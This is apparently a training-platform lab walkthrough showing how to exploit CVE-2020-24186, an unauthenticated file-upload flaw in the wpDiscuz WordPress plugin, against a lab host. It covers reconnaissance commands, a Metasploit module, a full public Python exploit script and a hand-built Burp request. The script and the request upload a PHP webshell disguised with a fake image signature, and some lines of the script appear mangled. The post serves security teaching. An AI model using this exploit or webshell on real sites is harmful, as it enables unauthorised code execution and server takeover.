Vulnerability Lab: WordPr ...
    03 November 22

    Vulnerability Lab: WordPress Plugin wpDiscuz Unauthenticated RCE

    Posted byINE

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Purpose: We will learn how to exploit WordPress Plugin wpDiscuz using the Metasploit Framework module. We will see how to exploit it using a python script as well. We will also learn how to exploit it manually to better understand the vulnerability.

    Goal after completing this scenario: Retrieve the flag!

    Technical difficulty: Beginner


    The wpDiscuz  plugin is a commenting plugin for WordPress. It enables visitors to discuss topics and easily customise their comments through the use of a rich text editor. It also provides an image uploading functionality that allows users to upload an image along with their comments. However, the improper implementation of this feature resulted in a critical vulnerability. The plugin v7.0 to v7.0.4 suffers from a remote code execution vulnerability which allows unauthenticated users to upload any type of file, including PHP files via the wmuUploadFiles AJAX action. Even though only image attachments were intended to be allowed, this vulnerability occurred due to certain file mime type detection functions that were used, which checked for the file mime type based on the file content. It was discovered that any file type that had image-identifying features would bypass the check and could easily get uploaded.

    This vulnerability has been assigned the CVE id CVE-2020-24186. The CVSS score for this vulnerability is 10.0 Critical!


    Read More:

    Lab Link:

    Lab Environment

    In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable version of the wpDiscuz WordPress plugin is running on the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local.

    The complete path to the post is: http://demo.ine.local/index.php/2022/05/20/hello-world/

    Objective: Exploit the unauthenticated remote code execution vulnerability in the wpDiscuz WordPress plugin to gain shell access on the target server and retrieve the flag!



    The best tools for this lab are:

    • Nmap

    • Dirb

    • Curl

    • A web browser

    • Python

    • Metasploit Framework


    Step 1: Open the lab link to access the Kali GUI instance.


    Step 2: Check if the provided machine/domain is reachable.

    Command: ping -c3 demo.ine.local


    The provided machine is reachable. is the IP address of the target machine.

    Step 3: Check open ports on the provided machine.

    Command: nmap -sS -sV demo.ine.local


    Apache httpd 2.4.18 is running on port 80 on the target machine.

    Step 4: Next we will use the dirb tool to find files and directories on the web server.

    Command: dirb http://demo.ine.local


    Step 5: We can notice that WordPress is running on the target machine. We will run the dirb tool again to find installed plugins on the target machine.


    dirb http://demo.ine.local/wp-content/plugins /usr/share/nmap/nselib/data/wp-plugins.lst


    Step 6: We can notice that the wpdiscuz plugin is installed on the target machine. All the WordPress plugins have either **readme.txt" or "README.txt" file in their directory, from which we can find the plugin version. We can use the curl command here to view the first few lines of "readme.txt" file.

    Command: curl http://demo.ine.local/wp-content/plugins/wpdiscuz/readme.txt | head -n 10


    The Stable tag shows 7.0.4, which is a vulnerable version.

    Exploit using Metasploit module

    Step 7: First check the attacker machine's IP address.

    Command: ifconfig

    wpDiscuz_7.jpg is the attacker machine's IP address.

    Step 8: Start the msfconsole and do a search for the module for CVE-2020-24186.


    msfconsole -q

    search CVE-2020-24186


    Step 9: We get the desired module. Run the following command to use this module.

    Command: use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload


    Step 10: You can also quickly run the following command to see what all options are required and what needs to be changed.

    Command: show options


    Step 11: Now run the following commands one by one:


    set RHOSTS

    set BLOGPATH /index.php/2022/05/20/hello-world/

    set LHOST



    Note: RHOSTS is the target machine's IP address and LHOST is the attacker machine's IP address. And these values may vary for you.


    We have successfully gained the meterpreter session.

    Step 12: Run the following command to access bash.

    Commands: shell


    Step 13: Find the flag file.

    Command: find / -iname *flag* 2>/dev/null


    The flag is present in /var/www/html/THIS_IS_FLAG1212424 file.

    Step 14: Retrieve the flag.

    Command: cat /var/www/html/THIS_IS_FLAG1212424


    FLAG: b5a6d2d2611d17f6aa50056727ea411e

    Exploit using Python script

    We will use the public exploit script available at the following URL:


    Step 15: From the terminal, save the following python code in a file named

    # Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
    # Google Dork: N/A
    # Date: 2021/06/08
    # Exploit Author: Fellipe Oliveira
    # Vendor Homepage:
    # Software Link:
    # Version: wpDiscuz 7.0.4
    # Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
    # CVE : CVE-2020-24186
    # Thanks for the great contribution to the code: Z3roC00l (
    import requests
    import optparse
    import re
    import random
    import time
    import string
    import json
    parser = optparse.OptionParser()
    parser.add_option('-u', '--url', action="store", dest="url", help="Base target host:")
    parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
    options, args = parser.parse_args()
    if not options.url or not options.path:
        print('[+] Specify an url target')
        print('[+] Example usage: -u -p /wordpress/2021/06/blogpost')
        print('[+] Example help usage: -h')
    session = requests.Session()
    main_url = options.url
    path = options.path
    url_blog = main_url + path
    clean_host = main_url.replace('http://', '').replace('/wordpress','')
    def banner():
        print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
        print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
        print('[-] CVE: CVE-2020-24186')
        print('--------------------------------------------------------------- \n')
    def csrfRequest():
        global wmuSec
        global wc_post_id
            get_html = session.get(url_blog)
            response_len = str(len(get_html.text))
            response_code = str(get_html.status_code)
            print('[+] Response length:['+response_len+'] | code:['+response_code+']')
            raw_wmu = get_html.text.replace(',','\n')
            wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
            print('[!] Got wmuSecurity value: '+ wmuSec +'')
            raw_postID = get_html.text.replace(',','\n')
            wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
            print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
        except requests.exceptions.HTTPError as err:
            print('\n[x] Failed to Connect in: '+url_blog+' ')
            print('[x] This host seems to be Down')
    def nameRandom():
        global shell_name 
        print('[+] Generating random name for Webshell...')
        shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
        print('[!] Generated webshell name: '+shell_name+'\n')
        return shell_name
    def shell_upload():
        global shell
        print('[!] Trying to Upload Webshell..')
            upload_url = main_url + "/wp-admin/admin-ajax.php"
            upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
            upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
            upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
            check =, headers=upload_headers, cookies=upload_cookies, data=upload_data)
            json_object = (json.loads(check.text))
            status = (json_object["success"])
            get_path = (check.text.replace(',','\n'))
            shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
            find_shell = str(shell_pret)
            raw = (find_shell.replace('\\','').replace('url&quot;:&quot;','').replace('\',','').replace('&quot;','').replace('[\'',''))
            shell = (raw.split(" ",1)[0])
            if status == True:
                print('[+] Upload Success... Webshell path:' +shell+' \n')
                print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
        except requests.exceptions.HTTPError as conn:
            print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
        return shell
    def code_exec():
                while True:
                    cmd = input('> ')
                    codex = session.get(shell + '?cmd='+cmd+'')
            print('\n[x] Failed to execute PHP code...')

    Now, run the script along with the required arguments as shown below.

    Command: python3 -u http://demo.ine.local -p /index.php/2022/05/20/hello-world/


    The python script successfully exploited the target.

    Exploit Manually

    Step 16: Configure the intercept on the browser as shown below.


    Step 17: Start Burp Suite and capture the following request: 

    URL: http://demo.ine.local/index.php/2022/05/20/hello-world/ 

    Next, send the captured request to the repeater. And then you can turn off the intercept.


    Step 18: Replace the request in the repeater with the following.


    POST /wp-admin/admin-ajax.php HTTP/1.1

    Host: demo.ine.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

    Accept: */*

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    X-Requested-With: XMLHttpRequest

    Content-Type: multipart/form-data; boundary=---------------------------80428247527883332923653124875

    Content-Length: 854

    Origin: http://demo.ine.local

    Connection: close

    Referer: http://demo.ine.local/index.php/2022/05/20/hello-world/


    Content-Disposition: form-data; name="action"



    Content-Disposition: form-data; name="wmu_nonce"



    Content-Disposition: form-data; name="wmuAttachmentsData"



    Content-Disposition: form-data; name="wmu_files[0]"; filename="backdoor.php"

    Content-Type: image/png


    <?php system($_GET['cmd']); ?>


    Content-Disposition: form-data; name="postId"



    Remember to change the wmuSecurity value in the above request as it may be different for you. This value is placed here in the request as shown below.


    Also, note that the post id is already set to 1.


    You can find the wmuSecurity value from View Page Source.



    Similarly, you can verify the post id by searching for wc_post_id.


    Now let's see what we are doing here. We have just added a fake signature of an allowed file type in our php file. This will bypass the file content verification check and our php backdoor will get uploaded.


    Step 19: Hit Send. The exploit worked and we get a link to the uploaded file in the response.


    Step 20: Copy that link and append ?cmd=id to it and run it. The id command is successfully executed.



    In this article, we learned how to exploit the unauthenticated remote code execution vulnerability in wpDiscuz WordPress plugin v7.0.4 using Metasploit module, using Python script as well as manually using Burp Suite.


    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Hey! Don’t miss anything - subscribe to our newsletter!

    © 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo